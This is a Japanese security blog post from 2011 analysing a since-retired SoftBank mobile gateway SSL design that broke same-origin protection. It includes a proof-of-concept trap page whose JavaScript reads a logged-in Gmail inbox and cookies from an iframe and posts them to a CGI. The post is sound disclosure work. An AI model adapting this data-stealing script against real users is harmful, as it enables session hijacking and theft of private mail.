2011年7月1日金曜日

ソフトバンクのゲートウェイ型SSLの脆弱性を振り返る

 2011年6月30日午前3時をもってソフトバンクモバイルの提供していたゲートウェイ型SSLが廃止され、End-to-EndのSSLのみになりました。廃止された方のゲートウェイ型SSLには致命的な脆弱性がありましたが、現在では使えなくなり悪用の心配もなくなりましたので、これまでどのような問題があったかを説明します。

ソフトバンクのゲートウェイ型SSLとは

 従来、ソフトバンクの携帯電話(フィーチャーフォン)では、2種類のSSLが提供されていました。通常の端末とWebサーバー間のSSL(End-to-EndのSSL)と、ゲートウェイ(secure.softbank.ne.jp)が割り込むタイプのSSLです。後者については、ソフトバンク社技術情報として仕様(削除済み)魚拓)が公開されています。

 ソフトバンク3G携帯電話では、「端末⇔弊社GW(以降、GW)」および「GW⇔Webサーバ」の通信区間でそれぞれSSL/TLSのセッションを確立し、GWは「端末⇔Webサーバ」間のSSL/TLSセッションの中継を行います。GWでは、Webサーバのレスポンスに含まれる、XHTMLドキュメント等に記載されたWebサーバへのhttpsリンクを、GWへのリンクに変換します。端末から見た場合、リクエストはGWへのSSLセッションとなります。

Ex:https://www.foo.com/bar.html というURIはGWにて
https://secure.softbank.ne.jp/www.foo.com/bar.html と変換されます。
WEB & NETWORK SSL/TLSより引用

 わざわざSSLの場合にもゲートウェイを割り込ませている目的としては、ケータイID(UID)を付与することと、絵文字の変換があるようです。

※注意:EZwebにもゲートウェイ型のSSLがあります(仕様)がProxyサーバーのホスト名が見えているわけではないので、今回報告するような問題はありません。

ゲートウェイ型SSLの問題点

 ゲートウェイ型SSLが廃止されるきっかけは、高木浩光氏と、ソフトバンクモバイル取締役専務執行役員CTOの宮川潤一氏のtwitter上のやりとりであると言われています。この内容は、Togetterにまとめられています。これを読むと、ゲートウェイ方式のSSLでは、httpとhttpsでドメインが異なるため、Cookieを引き継ぐことができないことが問題として説明されています。現場のニーズとしてこの問題は大きいと思うのですが、実はもっと切実なセキュリティ上の問題がありました。
 そのヒントは、高木浩光氏のブログ記事「共用SSLサーバの危険性が理解されていない」にあります。このエントリでは、さくらインターネットの共有SSLを題材として、ドメインを共有するサイトが、たとえCookieのPath属性を指定しても、セッションハイジャックができることが指摘されています。具体例として、以下の2つのサイトをまたがって(秘密であるはずの)コンテンツやCookieが取得できることを指摘しています。

  • https://secure101.sakura.ne.jp/hoge.net/
  • https://secure101.sakura.ne.jp/example.com/

 ここでsecure101.sakura.ne.jpは、さくらインターネットの共用サーバのホスト名です。これらディレクトリをまたがったアクセスが可能である理由は、JavaScriptの同一生成元ポリシーがホストを基準としていて、ディレクトリは考慮していないからです。同一生成元ポリシーの詳細は、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方(以下、徳丸本)」を参照ください。
 ここで、secure101.sakura.ne.jpをsecure.softbank.ne.jpに置き換えたらどうでしょうか。

  • https://secure.softbank.ne.jp/hoge.net/
  • https://secure.softbank.ne.jp/example.com/

 ご覧のように、ソフトバンクのゲートウェイ型SSLの書式になります。前者は共用サーバー、後者はProxyという違いはありますが、端末から見ると区別はありません。従って、高木氏が「共用SSLサーバの危険性」として指摘された問題は、そのままソフトバンクのゲートウェイ型SSLにもあります。具体的には、ソフトバンク端末の利用者に罠のページを閲覧させることにより、その利用者の秘密情報を盗み出すことが可能となります。
 以下、Gmailの携帯電話向けページを用いて検証した画面例を使って説明します(Gmailの脆弱性ではないので、念のため)。

検証用スクリプトの説明

 検証にあたり、下図のようなページを作成しました。



 以下に検証用スクリプトを示します。まず、画面上側のiframeと、三つ並んだボタンの部分。

<body>
<iframe width=400 height=300 src="../../mail.google.com/mail/" name="foo"></iframe><BR>
<iframe width=400 height=100 src="../s.html" name="bar"></iframe><BR>
<input type=button value="gmail" onclick="getdiv(1);">
<input type=button value="cookie" onclick="getcookie();">
<input type=button value="hash" onclick="getdiv(2);">

 最初のiframeはgmailを参照しています。絶対URLは、http://secure.softbank.ne.jp/mail.google.com/mail/です。2番目のiframeは、罠ページの親ディレクトリにあるページを指しています。これは、後述する検証のためです。
 ボタンは左から、Gmailの中味を取得、GmailのCookie取得、親ディレクトリのページの中味を取得、です。
 続いて、検証用のスクリプトです。変数nは、例外が発生した場所を表示するためのものです。

<script>
function getdiv(x) { // iframeの中味を取得してtextareaに流し込み
  var n = 0; document.getElementById('out').innerHTML = ''; // エラー表示をクリア
  try {
    n = 1;
    if (x == 1) {
      var doc = foo.document;  // gmailのdocument
    } else {
      var doc = bar.document;  // 親ディレクトリページのdocument
    }
    n = 2; var body = doc.body;
    n = 3; var text = body.innerHTML;
    n = 4; document.getElementById("ta").value = text;
  } catch(e) {
    document.getElementById('out').innerHTML = n + ':' + e.message;
  }
}

function getcookie() { // Cookie値を取得してtextareaに流し込み
  var n = 0; document.getElementById('out').innerHTML = ''; // エラー表示をクリア
  try {
    n = 1; var doc = foo.document;
    n = 2; var cookie = doc.cookie;
    n = 4; document.getElementById("ta").value = cookie;
  } catch(e) {
    document.getElementById('out').innerHTML = n + ':' + e.message;
  }
}
</script>

 関数getdivは、iframe内のbodyのinnerHTMLを取得して、そのままtextareaに流し込むものです。x=1の場合はGmail、x=2の場合は親ディレクトリのページを取得します。例外が発生した場合は行番号nとエラーの内容を表示します。
 続いて、表示領域など残りのスクリプトです。

<form action="/cgi-bin/xxxxxx非公開xxxx.cgi" method="POST">
<textarea id=ta name=data1></textarea>
<input type=submit>
</form>
<div id="out"></div>
</body>

 formはtextareaをPOSTするだけです。攻撃が成功すれば、罠に引っかかった利用者のgmailのコンテンツを取得できることになります。実際の攻撃では、ボタンを利用者に押してもらうのはイマイチなので、JavaScriptで処理することになりますが、今回は検証用なのでボタンは手で押しています。

 罠ページと2つのiframeのURLは以下の通りです。SSLの正規の証明書がないと検証できないので、弊社のホームページ(www.hash-c.co.jp)上に置いています。罠ページのディレクトリは非公開とします。

罠ページhttps://secure.softbank.ne.jp/www.hash-c.co.jp/xxx非公開xxx/p.html
Gmailhttps://secure.softbank.ne.jp/mail.google.com/mail/
親ディレクトリhttps://secure.softbank.ne.jp/www.hash-c.co.jp/s.html

Gmailの内容取得に成功

 上記罠ページを932SH(ソフトバンク2009年春モデル、非公式JavaScript対応機種)で閲覧した様子を以下に示します。932SHはデフォルト設定、Gmailには元々ログイン済みの状態です。



 画面の上方に、「受信トレイ」とか「7月1日決行です」などと表示されている部分がGmailの画面です。iframeに秘密情報が表示されること自体は問題ありません。続いて、[gmail]ボタンを押します。



 画面の下方に、「<div><img src=...」と表示されているのがGmailのHTMLソースです。表示窓が小さくてよく分からないので、拡大図を以下に示します。



 これが取得できるのは問題です。ドメインを超えたコンテンツをJavaScriptでアクセスできた訳ですから、同一生成元ポリシー(Same Origin Policy)が破れた状態です…といっても、先の表に示したように、ドメインはいずれもsecure.softbank.ne.jpですから、元々同一生成元であるわけです。このため、この問題はブラウザの脆弱性ではなくて、このようなURLで運用していることの問題と言えます。
 次に、[cookie]ボタンを押すと、GmailのCookieが取得できます。



 GX=xxxというのがそれです。実際には、複数のCookieが使われていますが詳しい表示は省略します。
 このように、ソフトバンクのゲートウェイ型SSLを使用すると、同一生成元ポリシーによる保護が働かないため、異なるドメインのコンテンツやCookieをJavaScriptで参照できることが問題です。
 次に、親ディレクトリについても表示できます。これは問題ない動作ですが、iモードブラウザ2.0のJavaScriptではiframe内のコンテンツを読み出せないで紹介したように、NTTドコモの携帯電話では禁止されている動作です。



公式JavaScript対応モデルでは保護が働く

 次に、944SH(2010年6月18日発売)での動作を紹介します。944SHは、ソフトバンクとして公式にJavaScriptに対応した最初のモデルです。
 以下に、[gmail]ボタンと[cookie]ボタンを押した様子を並べて示します。

[gmail]ボタンを押したところ [cookie]ボタンを押したところ

 いずれも「2:operation is inhibited」という表示になります。最初、NTTドコモと同じように親ディレクトリの読み出しを禁止したのかと思いましたが、そうではありませんでした。親ディレクトリに配置したコンテンツは以下のように読み出せます。



 これらの事実から推測されることは、ソフトバンクの公式JavaScriptでは、secure.softbank.ne.jp経由のコンテンツを特別扱いしているということです。secure.softbank.ne.jp直下のディレクトリ名をドメイン名として扱って、同一生成元ポリシーを実装しているのかもしれません。

この問題の影響を受ける(受けたはずの)アプリケーション

 今回の検証にはGmailを用いましたが、もちろんGmailだけが影響を受けるわけではありません。以下の性質を持つアプリケーションがこの問題の影響を受けると考えられます。
 まず、以下のアプリケーションは認証状態に関係なく影響があります。

  • ケータイIDのみで認証をしているアプリケーション

 つまり、いわゆる「かんたんログイン」をしているアプリケーション全部です。ただし、キャリア公式の認証方式については議論の対象外とします。キャリア公式の認証方式は技術情報が公開されていないからです。
 次に、以下のコンテンツは、アプリケーションに認証した状態で罠のサイトを閲覧下場合に影響を受けます。

  • Cookieによりセッション維持しているアプリケーション(Gmailはこのタイプ)
  • ケータイIDによりセッション維持しているアプリケーション

 影響を受けないアプリケーションの典型的なパターンを以下に示します。

  • パスワード認証後URLにセッションIDを保持しているアプリケーション

 以上は、あくまで当該問題の影響を受ける・受けないの話であって、URLによるセッションID保持を推奨しているわけではありません。他の問題もあわせて総合的に考えれば、Gmailのようにパスワード認証とCookieによるセッション維持が安全です。

この問題の影響を受ける(受けたはずの)端末

 この問題の影響を受ける端末は、ソフトバンクの非公式JavaScript対応端末全てが該当し得ると考えられます。これについては、後でまた触れます。2010年夏モデルが出る前の時点(すなわち昨年の今頃)では、ほとんどの端末が該当していたと思われます。

この脆弱性による影響

 罠サイトを経由してクロスドメインでJavaScriptによるアクセスができます。典型的な影響は、正規利用者に成りすましての情報漏洩やアプリケーション機能の悪用です。
 もっと端的な表現はこうです。secure.softbank.ne.jpが動作していると、SSLを利用可能な全てのアプリケーションにクロスサイト・スクリプティング(XSS)脆弱性があるのと同等の影響があったと言えます。

時系列の整理

 ここで、ケータイJavaScriptにまつわる出来事を時系列にまとめてみます。

2009年6月iモードブラウザ2.0の登場、すぐに無効化される 参考ブログ
2009年8月ケータイJavaScriptによりケータイIDが変更される可能性の指摘 参考ブログ
2009年11月iモードブラウザ2.0のJavaScript再開 参考ブログ
2009年11月24日iモードIDを用いた「かんたんログイン」のDNS Rebinding脆弱性 リリース文書
2009年11月上記問題がソフトバンク端末にもあることをソフトバンク社に通知
2010年5月1日高木浩光氏の日記 共用SSLサーバの危険性が理解されていないが公開される
2010年5月22日WASF2010にてソフトバンク端末のDNS Rebinding問題を公表 参考ブログ プレゼン資料 リリース(5月24日)
2010年5月27日ソフトバンクからJavaScript機能を利用者が無効にするようアナウンス リリース 紹介記事
2010年6月15日ソフトバンクCTO宮川氏と高木浩光氏のtwitter上での会談によりゲートウェイ型SSLの廃止が決定 togetterによるまとめ
2010年6月18日ソフトバンク初の公式JavaScript対応端末944SHが発売。既にゲートウェイ型SSLの問題に対応済みだった(最初の確認日は2010年8月11日)
2010年10月15日ソフトバンクから、2011年2月1日にゲートウェイ型SSLを廃止するとアナウンス(後に6月30日に延期) リリース
2011年6月30日早朝3時にゲートウェイ型SSLが停止される(イマココ)

ソフトバンク社はかなり前からゲートウェイ型SSLの問題を把握していた

 私を含めて多くの方が、twitter上での宮川CTOと高木浩光氏の会話を契機として2010年6月15日にゲートウェイ型SSLが廃止されたと思い込んだわけですが、現実には、ソフトバンク社はそれよりかなり前からこの問題を把握していたと思われます。その根拠は、2010年6月18日発売の944SHの出荷時点でこの問題に対応していたからです。私自身が最初に検証したのは2010年8月11日ですが、発売からそれまでの間に944SHに関するアップデートはありません 【参考】アップデート情報
 宮川CTOと高木浩光氏の会談のあった6月15日の時点では、既に944SHは配送中か店舗の在庫になっていたでしょうし、端末の開発・製造・テストなどに要する時間を考えると、少なくとも2010年3月頃には、ソフトバンク社はこの問題を承知していたと思われます。
 この前提に立って考えると、2010年5月27日にソフトバンク社が端末利用者にJavaScriptを無効化するようにアナウンスしたことの意味も違って見えます。この当時、多くの人がDNSリバインディング問題の解決のためにJavaScriptを無効化するようにアナウンスしたと考えたのですが、それだけではなかったようです。
 その根拠は、ソフトバンクが全てのJavaScript対応機種にてJavaScriptを無効するようアナウンスしたことです。DNSリバインディングに対応するだけであれば、リリースに記載のレベル2とレベル3だけJavaScriptを無効化すればよいはずですが、実際にはレベル1まで含めて無効化を呼びかけています。憶測になりますが、ゲートウェイ型SSLの問題も含めて対処するためではないかと考えられます。

NTTドコモとソフトバンクの同一生成元ポリシーの違い

 NTTドコモのiモードブラウザ2.0とソフトバンク端末のブラウザはともにJavaScriptをサポートしています。どちらも中味はACCESS社のNetFrontだと思うのですが、同一生成元ポリシーの挙動が少し異なります。通常同一生成元ポリシーは、ホストとポートとスキーム(プロトコル)が同一であることを要求するものですが、ケータイブラウザの場合、ディレクトリの制約がつく場合があります。
 NTTドコモの場合は、先にも触れたように、親ディレクトリに遡ったアクセスができません。こうしている理由は不明ですし、ドキュメントにも明記されていないようです。
 一方、ソフトバンクの場合は親ディレクトリに対するアクセスは可能ですが、公式JavaScript対応機の場合は、ホストがsecure.softbank.ne.jpの場合に限り、第一階層のディレクトリを仮想的にホストと見なしているようです。
 これらの挙動は、iframe要素を使った場合だけでなく、XMLHttpRequestを使った場合も同じです。上記の攻撃(検証)も、iframeの代わりにXMLHttpRequestを使っても書けますが、XMLHttpRequestに対応していない端末があることや、シャープ製端末のようにデフォルトではXMLHttpRequestが使えない端末が多いので、iframeを検証に用いました。
 以上の内容を表にまとめました。

キャリアNTTドコモ
ソフトバンク
端末種別iモードブラウザ2.0非公式JavaScript対応機公式JavaScript対応機
親ディレクトリの参照アクセスできないアクセスできるアクセスできる
secure.softbank.ne.jpの場合制限無し第1階層のディレクトリをホストと見なす

考察とまとめ

 6月30日で廃止されたソフトバンクのゲートウェイ型SSLの問題について説明しました。この問題の悪用事例は報告されていないようですが、単に気づいてないだけ、あるいは気づいていても何らかの理由で公表されていない可能性もあります。
 この事例から言えることは、(ガラパゴスと表現されることもある)日本の携帯Web独自の仕様というのものが非常にきわどく、もろいものだということです。Webの基本的な仕組みは、ブラウザやアプリケーションに脆弱性がなければ安全になるように仕様が決められていますが、その仕様を少しでも変更すると、上記のような超弩級の脆弱性が入り込む可能性があるという事例であると言えます(マクロの視点)。
 また、この脆弱性はブラウザにJavaScript機能がなければ顕在化しなかったと考えられますが、実際には、ソフトバンクの2006年頃以降の端末で、JavaScriptが *非公式に* 実装され、脆弱性が顕在化しています(*1)。非常に微妙な均衡の元に安全性が保たれていたYahoo!ケータイの世界に、安全性を考慮しないままJavaScrpit対応の端末を持ち込んでしまったことの問題でもあります(ミクロの視点)。
 また、携帯Webの仕様がオープンにならないことも問題です。私は前述のJavaScript等の仕様を調べるために、公開されている仕様書だけでは十分でないために、実機での試行錯誤が必要でした。携帯Webの安全性確保のため、開発者やセキュリティ研究者に向けた十分な情報開示を希望します。

参考:高木浩光@自宅の日記 - SoftBankガラケーの致命的な脆弱性がようやく解消

*1 http://www.hash-c.co.jp/archive/wasf2010.html参照

0 件のコメント:

コメントを投稿

フォロワー